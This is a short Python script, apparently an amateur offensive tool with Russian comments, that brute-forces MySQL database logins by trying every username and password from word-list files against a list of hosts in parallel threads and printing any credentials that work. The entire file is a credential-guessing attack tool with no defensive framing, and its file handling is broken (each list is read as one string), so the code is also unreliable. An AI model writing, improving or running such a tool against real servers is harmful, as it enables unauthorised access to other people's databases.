import pymysql
import optparse
import threading
import time

def brut_db(host, log, _pass):
	host = host.replace('\n', '')
	log = log.replace('\n', '')
	_pass = _pass.replace('\n', '')

	try:
		con = pymysql.connect(host=host,
							user=log, 
							password=_pass)
		print('host : {} user : {} pass : {}'.format(host, log, _pass))

	except:
		time.sleep(0.001)
	
def brut_ip():
	ip_list = []

	with open(ip, 'r') as ip_file:
		ip_list.append(ip_file.read())
	
	for i in ip_list:
		brut_log_pass(i)

def brut_log_pass(host):
	log_list = []
	pass_list = []
	
	with open(log, 'r') as log_file:
		log_list.append(log_file.read())

	with open(_pass, 'r') as pass_file:
		pass_list.append(pass_file.read())
	
	for l in log_list:
		for p in pass_list:
			thread = threading.Thread(target=brut_db, args=(host, l, p, ), daemon=True)
			thread.start()



pars = optparse.OptionParser()
pars.add_option('-i', '--ip', dest='ip', help='path file ip </home/user/ip.txt>')
pars.add_option('-l', '--login', dest='log', help='path file login </home/user/log.txt>')
pars.add_option('-p', '--pass', dest='_pass', help='path file password </home/user/pass.txt')

(opt, arg) = pars.parse_args()

ip = opt.ip
log = opt.log
_pass = opt._pass

#доработать
if not ip or not log or not _pass:
	pars.error('Укажи все ключи')

else:
	brut_ip()